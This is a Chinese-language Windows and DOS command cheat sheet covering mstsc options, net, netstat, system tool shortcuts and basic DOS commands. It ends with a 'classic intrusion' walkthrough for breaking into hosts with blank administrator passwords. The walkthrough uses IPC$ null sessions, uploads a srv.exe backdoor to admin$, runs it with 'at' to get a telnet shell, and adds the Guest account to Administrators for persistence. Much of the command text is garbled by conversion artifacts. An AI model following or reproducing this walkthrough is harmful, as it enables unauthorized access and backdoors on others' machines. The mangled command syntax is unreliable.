mstsc命令的使用.docx

mstsc命令的使用在xp sp2中用mstsc /console命令可以登录到远程桌面的控制台（和在电脑前以同一用户登录），xp升级到sp3后，不能这样用了。sp3中命令应该换成mstsc /admin。1 xp sp3中mstsc的参数如下：MSTSC /v: /admin /fullscreen /w: /h: /public | /span /edit connection file /migrateconnection file - 指定连接的 .rdp 文件的名称。/v: - 指定要连接的远程计算机。/admin - 将您连接到会话以管理服务器。/f - 以全屏模式启动远程桌面。/w: - 指定远程桌面窗口的宽度。/h: - 指定远程桌面窗口的高度。/public - 在公用模式下运行远程桌面。/span - 使远程桌面的宽度和高度与本地虚拟桌面相匹配，如有必要，扩展到多个显示器。若要扩展到多个显示器，所有显示器都必须具有相同的高度并垂直排列。/edit - 打开指定的 .rdp 连接文件进行编辑。/migrate - 将使用客户端连接管理器创建的旧连接文件迁移到新的 .rdp 连接文件。2003 sp2中的mstsc参数用法：MSTSC /v: /console /fullscreen/w: /h: | /EditConnectionFile | /Migrate | /?- 指定连接的 .rdp 文件的名称。/v: - 指定要连接到的终端服务器。/console - 连接到服务器的控制台会话。/f - 以全屏模式启动客户端。/w: - 指定远程桌面屏幕的宽度。/h: - 指定远程桌面屏幕的高度。/edit - 打开指定的 .rdp 文件来编辑。/migrate - 将客户端连接管理器创建的旧版连接文件迁移到新的 .rdp 连接文件。/? - 显示此用法消息。2 DOS远程桌面连接命令 mstsc /v: 50 /consolecmd 运行 command删除文件 rd 文件名/S创建文件 MD 文件名1. net user admin godmour /add 新建一个用户名为 admin 密码为 godmour 默认为user组成员2. net user admin /del 将用户名为admin的用户删除3. net user admin /active:no 将用户admin禁用4. net user admin /active:yes 将用户admin激活5. net user admin 查看拥护admin用户的情况6. net localgroup administratros admin /add 提升用户权限7. net viewurl=file:/ip/IP/url 查看远程主机共享资源8. net use x:IPsharename 远程影射本地盘符 Z （建立连接 net use url=file:/ip/IPC$%22passwordIPIPC$password/url /user:name)9. net user admin godmour 把admin的密码修改成 godmour10. net start servername 启动 telnet 服务 net start servername 停止 telnet 服务运行 输入cmd 回车在命令提示符下输入for %1 in (%windir%system32*.dll) do regsvr32.exe /s %1还原系统tracert 01 查看路由是否正常工作netstat命令netstat -r -s -n -a。当然，你也可以利用“netstat /?”命令来查看一下该命令的使用格式以及详细的参数说明netstat参数含义如下 -r 显示本机路由表的内容 -s 显示每个协议的使用状态（包括TCP协议、UDP协议、IP协议） -n 以数字表格形式显示地址和端口 -a 显示所有主机的端口号运行Netstat -a命令将显示计算机上网时与外部之间的所有连接，计算机端口与外部的连接情况等；而Netstat-s命令则显示电脑网络连接协议的统计信息。这样你就可以看到当前你的电脑上网络在进行哪些连接，数据包发送和接收的详细情况等等添加或删除程序 control appwiz.cpl管理工具 control admintoolsattrib 设置文件属性ctty 改变控制设备defrag 磁盘碎片整理doskey 调用和建立DOS宏命令debug 程序调试命令emm386 扩展内存管理fc 文件比较fdisk 硬盘分区lh/loadhigh 将程序装入高端内存move 移动文件，改目录名more 分屏显示prompt 设置提示符set 设置环境变量smartdrv 设置磁盘加速器setver 设置版本subst 路径替换vol 显示指定的磁盘卷标号xcopy 拷贝目录和文件mstsc XP自带远程secpol.msc /s 本地安全策略services.msc /s 服务compmgmt.msc 计算机管理 jsjgl.msceventvwr.msc /s 事件查看器 odbcad32.exe 数据源 (ODBC) perfmon.msc /s 性能comexp.msc 组件服务 control userpasswords2 察看当前XP用户gpedit.msc 组策略 regedit 注册表 dxdiag DirecTX 诊断工具gpedit.msc-组策略 winver-检查Windows版本 wmimgmt.msc-打开windows管理体系结构(WMI)wupdmgr-windows更新程序 wscript-windows脚本宿主设置 write-写字板winmsd-系统信息 wiaacmgr-扫描仪和照相机向导 winchat-XP自带局域网聊天mem.exe-显示内存使用情况 Msconfig.exe-系统配置实用程序 mplayer2-简易widnows media playermspaint-画图板 mplayer2-媒体播放机 magnify-放大镜实用程序mmc-打开控制台 mobsync-同步命令 drwtsn32- 系统医生devmgmt.msc- 设备管理器 dfrg.msc-磁盘碎片整理程序 diskmgmt.msc-磁盘管理实用程序dcomcnfg-打开系统组件服务 ddeshare-打开DDE共享设置 dvdplay-DVD播放器net stop messenger-停止信使服务 net start messenger-开始信使服务 notepad-打开记事本nslookup-网络管理的工具向导 ntbackup-系统备份和还原 narrator-屏幕“讲述人”ntmsmgr.msc-移动存储管理器 ntmsoprq.msc-移动存储管理员操作请求 netstat -an-(TC)命令检查接口syncapp-创建一个公文包 sysedit-系统配置编辑器 sigverif-文件签名验证程序sndrec32-录音机 shrpubw-创建共享文件夹 secpol.msc-本地安全策略syskey-系统加密，一旦加密就不能解开，保护windows xp系统的双重密码services.msc-本地服务设置 Sndvol32-音量控制程序 sfc.exe-系统文件检查器sfc /scannow-windows文件保护 tsshutdn-60秒倒计时关机命令 tourstart-xp简介（安装完成后出现的漫游xp程序）taskmgr-任务管理器 eventvwr-事件查看器 eudcedit-造字程序explorer-打开资源管理器 packager-对象包装程序 perfmon.msc-计算机性能监测程序progman-程序管理器 regedit.exe-注册表 rsop.msc-组策略结果集regedt32-注册表编辑器 rononce -p -15秒关机 regsvr32 /u *.dll-停止dll文件运行regsvr32 /u zipfldr.dll-取消ZIP支持 cmd.exe-CMD命令提示符chkdsk.exe-Chkdsk磁盘检查 certmgr.msc-证书管理实用程序 calc-启动计算器charmap-启动字符映射表 cliconfg-SQL SERVER 客户端网络实用程序 Clipbrd-剪贴板查看器conf-启动netmeeting compmgmt.msc-计算机管理 cleanmgr-垃圾整理ciadv.msc-索引服务程序 osk-打开屏幕键盘 odbcad32-ODBC数据源管理器oobe/msoobe /a-检查XP是否激活 lusrmgr.msc-本机用户和组 logoff-注销命令iexpress-木马捆绑工具，系统自带 Nslookup-IP地址侦测器 fsmgmt.msc-共享文件夹管理器utilman-辅助工具管理器 gpedit.msc-组策略 cleanmgr-垃圾整理ciadv.msc-索引服务程序 odbcad32-ODBC数据源管理器 oobe/msoobe /a-检查XP是否激活lusrmgr.msc-本机用户和组 logoff-注销命令 iexpress-木马捆绑工具，系统自带Nslookup-IP地址侦测器 fsmgmt.msc-共享文件夹管理器 utilman-辅助工具管理器DOSDisk Operation System 磁盘操作系C: 盘符 Path 路径 Filename 文件名 .ext 扩展名 Filespec 文件标识符 方括号中的项目是可选项，用户可以根根据需要不输入这些内容 大括号表示其中的项目必选一项| 竖线表示两侧的内容可取其一 表示可重复项* 表示一个字符串？ 只代表一个字符查找以字母y开头的所有文件，可以输入以下命令：dir y*.*；如果要查找所有扩展名为exe的文件，可以用dir .exe。？只代表一个字符，例如我要查找第二个字母为s的所有文件，可以输入：DIR ?s*.*。dir格式 dir C:pathfilename.ext/o/s/p/w/adir是DOS命令中最常用的一个/p 显示信息满一屏时，暂停显示，按任意键后显示下一屏/o 排序显示。o后面可以接不同意义的字母/w 只显示文件名目录名，每行五个文件名。即宽行显示/s 将目录及子目录的全部目录文件都显示cd是英文change directory(改变目录）的缩写格式 cd C:path 逐层退出（cd.）copy在英文中是复制的意思复制一个或一组文件到指定的磁盘或目录中 copy C:pathfilename.ext C:pathfilename.extC:purple目录的所有文件复制到软盘C:copy purple A:ren是英文rename（重新命名）的简写，对指定磁盘、目录中的一个文件或一组文件更改名称格式 ren C:pathfilename1.ext filename2.ext说明 改名操作只限于某个文件某组文件的名称，它不会更改文件所在的目录。如果使用了通配符，则对一批文件进行更名。type 功能 在屏幕上显示文本文件内容命令 格式 type C:pathfilename.exttype命令用来在屏幕上快速、简便地显示文本文件的内容，扩展名为TXT的文件是文本文件。如果用这个命令显示扩展名为EXE或COM等其它文件，输出的结果往往是一些乱七八糟的符号并伴有无规则的响铃声，有时甚至会出现死机现象。format 磁盘格式化 C:pathformat drive:/Sdiskcopy，翻译成中文就是磁盘复制 复制出一个和原来磁盘内容一模一样的磁盘格式 diskcopy 源驱动器名 目的驱动器名说明 它的主要用途就是用来备份。比如我们的电脑在刚买来时，会随机附带一些设备驱动程序磁盘，这些驱动程序在以后都有可能用到，为防止这些磁盘的损坏，一定要将它们都备份一套，这时，使用diskcopy命令是比较快捷和方便的deltree 删除目录树 格式 C:pathDELTREE C1:path1 C2:path2 说明 这个命令将整个指定目录树全部消灭，而不管它是否是只读、隐藏与否。使用应特别小心。它是一个危险命令。mem是memory的缩写功能 该命令用来查看你的计算机内存有多少，以及内存的使用情况 格式 直接键入mem命令chkdsk是check disk的缩写。功能 用来检查你的磁盘的使用情况。格式 chkdsk 磁盘名说明 例如要检查A盘使用情况，就输入chkdsk A: ，检查c盘使用情况，就输入chkdsk C: ，如果直接输入chkdsk，就检查当前磁盘的使用情况。sys 传递系统文件命令。将DOS的两个隐含的系统IO.SYS和MSDOS.SYS传送到目标磁盘的特定位置上，并将COMMAND.COM文件复制过去。完成后，目标盘成为DOS的启动盘格式 C:pathSYS C1:path d2:说明 由于这几个文件需要复制到特定位置上，所以用COPY命令完成的复制未必能够启动机器。能过SYS命令，DOS可以将目标盘已占据特定位置的文件移动，并将系统文件复制到相应位置上。参数C1:path用来指明系统文件所在目录。如不指明，则缺省为当前盘的当前目录。所以这个命令一般要在源盘的根目录进行pass 功能 设定DOS寻找.COM、.EXE、.BAT文件的所在目录 格式 path=drive:path;或path说明 只打path没有参数时，只显示环境变量内容。有参数时，重新设置path变量。在没有指定path环境变量时，用户发出的命令，DOS首先判断其是否为内部命令，再查找当前目录中是否有主文件名是该命令的可执行文件，如果均不是，则显示信息“Bad command or filename”。如果发出了指定路径的命令，则在指定径中依次查找，仍找不到则出现上述提示。cls 清除显示器屏幕上的内容，使DOS提示符到屏幕左上角。 格式常用的远程连接命令建立空连接 net use url=file:/ip/ipc$Content$nbspIPipc$Content$nbsp/url; /user: (一定要注意:这一行命令中包含了3个空格)建立非空连接 net use url=file:/ip/ipc$Content$nbspIPipc$Content$nbsp/url;用户名 /user:密码 (同样有3个空格) 映射默认共享 net use z: url=file:/ip/c$Content$nbspIPc$Content$nbsp/url;密码 /user:用户名 (即可将对方的c盘映射为自己的z盘，其他盘类推) 如果已经和目标建立了ipc$，则可以直接用IP+盘符+$访问,具体命令 net use z: url=file:/ip/c$IPc$/url 删除一个ipc$连接 net use url=file:/ip/ipc$Content$/delIPipc$Content$/del/url 删除共享映射 net use c: /del 删除映射的c盘，其他盘类推 net use * /del 删除全部,会有提示要求按y确认 经典入侵模式 1.C:net use url=file://IPC$Content$nbspIPC$Content$nbsp/url; /user:admintitrators 这是用流光扫到的用户名是administrators，密码为空的IP地址(空口令?哇,运气好到家了)，如果是打算攻击的话，就可以用这样的命令来与建立一个连接，因为密码为空，所以第一个引号处就不用输入，后面一个双引号里的是用户名，输入administrators，命令即可成功完成。 2. C:copy srv.exe url=file://admin$Content$nbspadmin$Content$nbsp/url; 先复制srv.exe上去，在流光的Tools目录下就有(这里的$是指admin用户的c:winntsystem32，大家还可以使用c$、d$，意思是C盘与D盘，这看你要复制到什么地方去了)。 3.C:net time url=file:///url 查查时间，发现 的当前时间是 2002/3/19 上午 11:00，命令成功完成。 4.C:at url=file:///url11:05 srv.exe 用at命令启动srv.exe吧(这里设置的时间要比主机时间快，不然你怎么启动啊，呵呵!) 5.C:net time url=file:///url 再查查到时间没有?如果 的当前时间是 2002/3/19 上午 11:05，那就准备开始下面的命令。 6.C:telnet 99 这里会用到Telnet命令吧，注意端口是99。Telnet默认的是23端口，但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。 虽然我们可以Telnet上去了，但是SRV是一次性的，下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了 7.C:copy ntlm.exe url=file://admin$Content$nbspadmin$Content$nbsp/url; 用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在流光的Tools目录中)。 8.C:WINNTsystem32ntlm 输入ntlm启动(这里的C:WINNTsystem32指的是对方计算机，运行ntlm其实是让这个程序在对方计算机上运行)。当出现DONE的时候，就说明已经启动正常。然后使用net start telnet来开启Telnet服务! 9.Telnet ，接着输入用户名与密码就进入对方了，操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈) 为了以防万一,我们再把guest激活加到管理组 10.C:net user guest /active:yes 将对方的Guest用户激活 11.C:net user guest 1234 将Guest的密码改为1234,或者你要设定的密码 12.C:net localgroup administrators guest /add 将Guest变为Administrator_(如果管理员密码更改，guest帐号没改变的话，下次我们可以用guest再次访问这台计算机) ipc$与空连接,139,445端口,默认共享的关系 以上四者的关系可能是菜鸟很困惑的一个问题,不过大部分文章都没有进行特别的说明,其实我理解的也不是很透彻,都是在与大家交流中总结出来的.(一个有良好讨论氛围的BBS可以说是菜鸟的天堂)